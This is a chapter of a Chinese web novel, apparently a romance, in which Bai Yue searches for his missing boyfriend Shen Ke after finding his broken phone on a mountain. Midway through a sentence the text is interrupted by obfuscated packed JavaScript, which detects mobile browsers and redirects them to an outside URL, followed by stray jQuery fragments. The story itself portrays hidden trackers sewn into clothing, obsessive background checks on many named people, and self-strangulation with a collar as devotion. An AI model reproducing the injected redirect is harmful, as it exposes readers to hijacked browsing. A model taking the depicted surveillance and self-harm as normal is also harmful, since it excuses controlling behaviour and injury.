沈恪说要去看日出的那个晚上，白越在书房坐了一夜，连灯都没开。
他手里的档案被攥得边角发皱，指腹反复摩挲着那一页的手术记录。
心脏骤停，抢救成功。
这行字他看了无数遍，沈恪说没有想过主动去死的时候，他信了。可每一次目光落在这页纸上，心脏就像被捏紧了，反复碾磨着一个不敢深想的念头：如果那次没救过来呢？
天快亮的时候，他撑着书桌站起来，腿麻得几乎栽倒，抓起车钥匙出了门。
脑子里只有一个模糊的方向。
沈恪在的地方，他得去看看，就看一眼。
……
到B市时，天依旧沉得发闷，没有半点要亮的迹象。他找到沈恪发来的定位，把车停在民宿对面的街角，抬头看了一眼。沈恪房间的窗帘拉得严严实实，一点光亮也没有。
他在车里坐了很久，久到浑身僵硬。
两天了，他几乎没合过眼。
白天是排山倒海的工作，晚上就坐在书房里对着照片墙发呆。快毕业了，公司的事一堆一堆地压过来，他得赶在沈恪回来之前把时间空出来。
三天，他硬生生挤出了三天。
游乐园的票买好了，B市的攻略做完了。摩天轮、海盗船、过山车，沈恪喜欢玩的、上次没玩成的，他都一一记着。
这一次出行会只有他们两个人。
车窗起了雾。他用指腹擦了一下，就在这时，民宿的门开了。沈恪一个人走出来，裹着冲锋衣，手里攥着手机。天很黑，路灯把他的影子拉得又细又长。
白越的呼吸瞬间停了。他看着那个身影，心脏狂跳不止。
他应该跟上去。
但他没有。
沈恪说了想自己走走。再跟下去，和以前有什么区别？
其实不是的。
他只是怕。
怕沈恪回头看见他，问他“你怎么在这”。怕自己连一句“我想你”都说不出口。
更怕的是，沈恪看见他的时候，眼睛里没有惊喜，只有一句“你怎么又来了”。
又或者，什么都没有。
沈恪刚学会一个人做决定。他等了很久才等到这双眼睛重新亮起来，不能在这个时候把它按灭。
白越坐在车里，看着沈恪沿着街边慢慢走。走到路口的时候，沈恪忽然停了下来，回头看了一眼。白越的心跳猛地漏了一拍，以为沈恪看见了他。
但沈恪看的不是他。他只是举起手机拍了一张照，然后收回目光继续走，一步一步，离白越越来越远。
白越坐在车里，看着那个身影消失在晨光里。
绷了太久的身体终于放松下来，沈恪就在前面，他看见了，他还好好的。这个念头落进脑子里，像一只手把他按在了座椅上。
他在车里坐了很久。天从黑变成灰，又从灰变成白，路边的景物渐渐清晰起来。
他看了一眼时间，快四点了。
他放下手机，靠在椅背上。眼睛闭上，又睁开。不行，不能睡。他要等沈恪发消息，回完了再睡。
眼皮越来越重。他把手机举到眼前看了一眼，没有新消息。
那就再等一会儿。
他把手机放在副驾驶上，疲惫地闭上了眼睛。
他真的没想睡，只是想闭眼休息一下。等沈恪的消息一过来，他就立刻醒。可身体实在撑不住了，像被人从背后狠狠敲了一闷棍，意识瞬间陷入黑暗。
再醒过来的时候，天已经大亮，阳光透过车窗照进来。他猛地坐直身体，脖子僵得动弹不得，脑子里一片混沌。片刻后，一股强烈的恐慌瞬间攫住了他。
他抓起副驾驶上的手机，屏幕上几十条未读消息，点开那个置顶的头像。
【然】【照片】
【然】这边的树好高噢。
又过了一小时。
【然】我发现山上的风景很好看诶。
【然】想跟你一起看日出……
最后两条的发信时间是两小时前。
白越脑子嗡了一声。
他看了一眼时间，又看了一眼那两条消息。
三小时，他竟然睡了三个小时。沈恪发消息的时候，他在睡觉。
白越盯着那行字。
“想跟你一起看日出。”
他打了两个字：好看。刚输完，又立刻删掉，太敷衍了。
又打：注意安全。还是删掉，太像家长了。
最好还是回复了一句：
【那是香樟，南方很常见。你拍的那棵少说有四五十年了。】
他想了下，又补了一句：
【你好奇的话，下次我带你去B市植物园看。那里有棵古樟树，比这棵还大。】
已读。
看到那句“想跟你一起看日出”，白越不自觉地勾起唇角，随后又打了一行字：
【好。等你回来了，我们一起。】
发出去。
消息已读，但什么都没有。沈恪没有发来第二条消息，没有再说山上的风景，没有说他到没到观景台。
他把手机放下，告诉自己，没事的，沈恪只是在爬山，顾不上看手机；或许是山上信号不好，发不出消息；或许是手机没电了，或许是走累了，在路边休息。
最后干脆把手机翻过去，屏幕朝下扣在副驾驶上。
他从后座取过笔记本，强迫自己冷静下来，开始回复工作邮件，还打错了好几个字。
半小时过去了，手机没有一点动静。
他再也忍不住，发过去一条消息：【宝宝，山上的风景好看吗？】
一小时。没有消息。
他又发：【回我消息，宝宝】
还是没回。
他把手机放下，又拿起来，又放下。
两小时。没有消息。
他按下拨号键，听筒里传来“嘟——嘟——”的忙音，没人接。再打，还是没人接。
他把手机从耳边拿开，看着屏幕，信号满格，电量充足。
他打开定位软件，屏幕上的红点一动不动。
再等十分钟。十分钟后，红点丝毫未动。
他拿起手机，拨了祈愿的号码。
响了好几声才接。祈愿的声音还有些沙哑：“干嘛？”
“沈恪在你那边吗？”
祈愿顿了一下：“他出去看日出了。怎么了？”
“他几点走的？”
“三点多吧。怎么了？你打不通他电话？”
白越没有回答，直接挂了。
沈恪会给他发消息，但不会给祈愿发。祈愿还在睡觉，沈恪怕吵醒他。
这个认知令白越的胃一阵抽搐。
白越猛地发动车子，油门踩到底，车子像离弦的箭一样往山上冲。
找到沈恪手机的时候，已经是下午了。根据最后的定位，他疯了一样地找，最后在草丛里找到了那部手机。
他蹲下来捡沈恪的手机，屏幕碎得彻底，按了一下开机键，没反应。他把手机攥在手心里，屏幕的碎片扎进掌心，鲜血顺着指缝往下流，滴在草丛里，晕开一小片。
手机里有定位器，衣服里也缝了。
两层保险，全断了。
他蹲在原地，把沈恪的手机紧紧攥在掌心，碎片嵌得更深，鲜血染红了手机外壳。他死死盯着那个红点停留的位置，记下了周围的一切，记下了时间，拍下了路边车轮碾过的痕迹，每一个细节都刻在脑子里。
然后他开始跑。
往山上跑，往岔路跑，往每一棵能藏人的树后面跑，往每一个他提前踩过点的角落跑。他跑过沈恪拍过的那棵大树，跑过沈恪可能停下来休息的石凳，跑过那些他提前查好的观景台，一遍一遍嘶哑地喊着“沈恪”“宝宝”。
风灌进肺里，喉咙发腥。停下来的时候腿在抖，整个人都在抖。腿软得站不住，顺着树干滑坐在地上，大口大口地喘着气。
他颤抖着掏出手机，手指僵硬地按下110，拨号键按了好几次才按对。
“你好，我要报警……我男朋友失踪了，可能是被人绑架了。对，最后的地址是……”
***
白越几乎是飞也似的赶到了沈恪他们入住的民宿。
祈愿接到电话，匆匆走出门，在走廊里看见白越的时候，愣了一下。
白越站在楼梯口，脸色苍白。他看见祈愿，扯了下嘴角，那个僵硬的弧度只维持了一秒就垮了，连带着他的肩膀都塌了下去。
祈愿还没来得及开口，白越已经一步步走了过来。
一拳，狠狠砸在祈愿的脸上。
祈愿被打得往后退了一步，嘴角瞬间破了，鲜血渗了出来。
“你他妈发什么神……”他抹了一下嘴角的血，抬起头，眼里满是怒火，可当他看到白越的样子时，怒火却瞬间僵住了。
白越站在他面前，低着头，肩膀控制不住地发抖。
祈愿看着他，忽然觉得有点不对。
“你他妈到底在笑什么？”祈愿的声音从牙缝里挤出来。
白越没有回答，抬起手，又是一拳，狠狠砸在祈愿的脸上。
这一次，祈愿没有躲，硬生生挨了一下，稳稳地站住了。嘴角的血顺着下巴往下淌，他也没顾上擦。
看着白越那张空洞的脸，祈愿忽然有点怕。
“是沈恪的事？”祈愿的声音有些哑。
白越没动，他的手垂在身侧，指节上沾着血。
掌心的伤口被捏得太紧，指甲深深掐进肉里，鲜血滴在了走廊的地板上。
他站在那里，嘴唇动了动，开始报名字，声音没有情绪。
“温序言。周婉蓉。于送风。温择言。廖辰。温怀言。温度言。赵恒。宋明远。周子衡。林嘉佑。方旭。陈屿。许嘉文。张婷。周彦辰。高元。苏哲。孙洋。李一鸣。陆明轩。云怀瑾。于佳。王澜……”
祈愿听着那些名字，看着白越机械的样子，心里越来越慌。
“宣听雨。江行舟。裴晏。宋长宁。谢云书。陆时晏。温如玉。林子既。陈安……”
“等一下。”祈愿忽然开口，“裴晏？”
白越终于停下了，抬起头看向祈愿。
“裴晏是温清然高中时候的前男友。”祈愿的声音有点紧，“他跟温清然早就没联系了。你查他干什么？”
白越的目光在祈愿脸上停留了几秒，又缓缓移开，声音依旧平静得可怕：“还有很多人，不止他。”
祈愿瞪着他，脑子里嗡嗡的。
白越什么时候查的？有些人他都没听过！
“你他妈……”祈愿嗓子发干，“你查了多久？”
白越没有回答，他转过身，快步走向楼下。
“白越你冷静一点！他到底怎么了？！”
“沈恪去的那个地方，是有监控的。”白越的声音从前头飘过来，“敢那么绑架，不是临时起意。”
祈愿愣了愣。
“踩过点，或者有人接应。”白越继续往前走，没有回头，“劫匪要有背景，至少在当地有人。车要藏，人要关，东西要备，监控要打点。不是一个人能干成的。”
他走到民宿的前台，敲了敲桌面。
前台抬起头，看见他的表情，愣了一下：“您好？”
“沈恪几点出门的？”白越问。
“什么？”
“今天早上，一个人，灰色外套，蓝色背包。几点出的门？”
前台被他的语气压住了，低头翻了翻记录：“好像是……三点多？”
“一个人？”
“是。”
“有没有人跟着他？”
“没、没有吧……”
“他有没有说过要去哪？”
前台摇了摇头。
“谢谢。”白越点了点头，转身走了。
他推开酒店大门，冷风灌进来。
“名单里有人出得起这个钱。有人出得起人。有人出得起关系。”他站在门口，回头看了祈愿一眼，“一个一个查，总有一个对得上。”
路灯落在他脸上，照出那半张没什么表情的脸。
祈愿站在他身后，后背有点发凉。
他见过白越失控的样子，在酒吧走廊里，在白越家里，在沈恪面前。
那些时候白越会抖，会哭，会攥着沈恪的手不放。
现在不会了。
他站在路灯底下，脸是白的，眼睛是黑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408047|198096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的，声音没有起伏，像一台被按下启动键的机器，只是开始运转。
祈愿忽然明白了。
沈恪在的时候，白越是人，有喜怒哀乐，有软肋，有牵挂。沈恪不在了，他就不是了。
“走吧，去山上。”白越转过身，往车的方向走。
祈愿站在原地，看着他走向那辆白色迈腾，拉开车门，坐进去。车灯亮了，引擎响了，他没有开车，只是坐在车里等着祈愿。
祈愿走过去，拉开车后门坐进去，车里一片死寂，白越没有开音乐，没有开导航，甚至没有看他一眼，只是静静地坐着，双手握着方向盘，指尖微微颤抖。过了很久，他才发动车子，缓缓开出停车场。
“你刚才念的那些人，”祈愿率先打破沉默，声音有些涩，“有几个，连我都不知道。”
“……”
“你是从什么时候开始查的？”
“十月一号。”
祈愿愣住了。
“在A市，台球馆。他替你挡了一棍。”白越说，“那个人叫张强。我查了他，然后查了所有可能伤害他的人。”
每一个名字，他都查过。什么时候出生的，在哪个城市，和温清然什么关系，父母亲朋，有没有能力动手。他都查过。
有的有动机，有的没能力，有的既有动机又有能力。他按可能性排了序，从最高那个开始往下查。
“后来知道他是沈恪，就继续查了。”
祈愿靠在椅背上，沉默了。
“怕他换不回去，”白越的声音很轻，像在喃喃自语，“会有人动他。”
“谁都动不了他。包括我。”
车驶入主路，路灯一盏一盏掠过，光影在白越脸上明灭。
“所以那些人，”祈愿的声音有些哑，“你是为了沈恪查的？”
“是。”
祈愿靠在椅背上，盯着前方的路，忽然不知道该说什么。
白越在还不知道沈恪是谁的时候，就已经在替他铺路了。
他想起温清然那句“怎么什么便宜都让白越占了。”
以前他也觉得白越幸运，幸运地陪在沈恪身边，幸运地得到了沈恪的温柔。
现在他不这么想了。
不是白越运气好，是白越把能做的事都做了，把所有的温柔和偏爱都给了沈恪，才让沈恪看见他。
这个人什么都攥在手里，什么都算在前面，可沈恪还是出事了。他攥得越紧，沈恪就跑得越远。他算得越细，窟窿就越大。他什么都没占着。
车继续往前开。
“我已经让人去查了监控，也报过警了，等那边的回复。”白越忽然开口。
“那个观景台的监控，”祈愿问道，“你怎么知道有？”
“去过。”
祈愿转过头看他。
白越看着前方的路，脸上没什么表情。
“他以前就说过想看日出。我在网上查了攻略，把附近几座城市都逛过了，他要走的路线都走了一遍。观景台，山路，岔路口。哪里信号好，哪里能拍到好看的照片，哪里容易走错。”他顿了顿，“都走了一遍。”
“我应该早点带他去的。”
祈愿靠在椅背上，盯着车顶。
他忽然想起沈恪发来的那些照片，他当时还在想，沈恪也开始独立了，是好事。
可谁知道。
他死死地咬着牙。
让沈恪学会独立的是他，带沈恪来B市的也是他。
“我买了两件外套，情侣款，白色的。”他的声音越来越轻，几乎要被引擎声淹没，“想，一起穿。”
可沈恪今天穿了件灰色的，很笨，很丑，最重要的是，这件衣服里没有他偷偷缝进去的定位器。
他忽然笑了一下，那笑又慢慢收了回去。
他想起早上，沈恪在路口回头的那一眼。他看见了，他就坐在车里，离沈恪那么近，可他没有动。
他以为那是尊重。
不是。
是蠢，是怕。
他就不该放手。
从一开始。
他握着方向盘，手指慢慢收紧，骨节咯咯作响，掌心的伤口加深，鲜血渗得更多，滴在方向盘上。
等沈恪回来——
不会再问可不可以。
车流忽然堵塞，白越踩下刹车，目光落在副驾驶上，项圈的盒子还在那里。
前天沈恪还坐在这里，对他说“我记住了”。
他摸了摸自己的脖子，空荡荡的。那个沈恪亲手给他戴上的项圈，被沈恪摘了，摘得干干净净。
他打开盒子。黑色的项圈安安静静躺在里面。
他把项圈拿出来，亲手戴在自己的脖子上，指尖颤抖着扣上环扣。不疼，却勒得很，那几个字母紧紧地贴在脖颈上，几乎要嵌进皮肤里。
以前是沈恪帮他戴的，动作很轻很温柔，还会摸一下他的脖子，问他疼不疼。现在他要自己来。
他伸出手，握住那根已经空了很久的牵引绳。绳子的一端还垂在胸前，软塌塌的，像一条死掉的蛇。
他用力拽了一下。
项圈瞬间收紧，勒进脖颈，呼吸被截断成一段一段的，窒息的疼痛瞬间蔓延开来。
疼。
他松开手，喘了口气，脖颈上已经留下了一圈深深的红痕。然后又拽了一下，比刚才更用力，脖颈上的青筋暴起，脸色变得更加苍白，喉咙里发出一点被压碎的声音，眼前一阵发黑。
再紧一点，再紧一点。
直到那圈黑色嵌进皮肤里，直到他能感觉到那几个字母再一次刻在他的血管上。
疼的时候，脑子里就只剩沈恪了。
他低下头，把绳子紧紧攥在手心里，掌心的伤口和绳子摩擦，疼得钻心。
祈愿坐在后座，看着白越自己把自己勒紧，欲言又止。
他想说“沈恪不会想看到你这样”，但他说不出口。
白越现在只听得进去沈恪的声音。
车流渐渐开始移动，白越踩下油门，车速又快了一点。
祈愿收回视线。
如果早上他没睡呢？
这个念头只闪了一下，就被他掐灭了。
太晚了。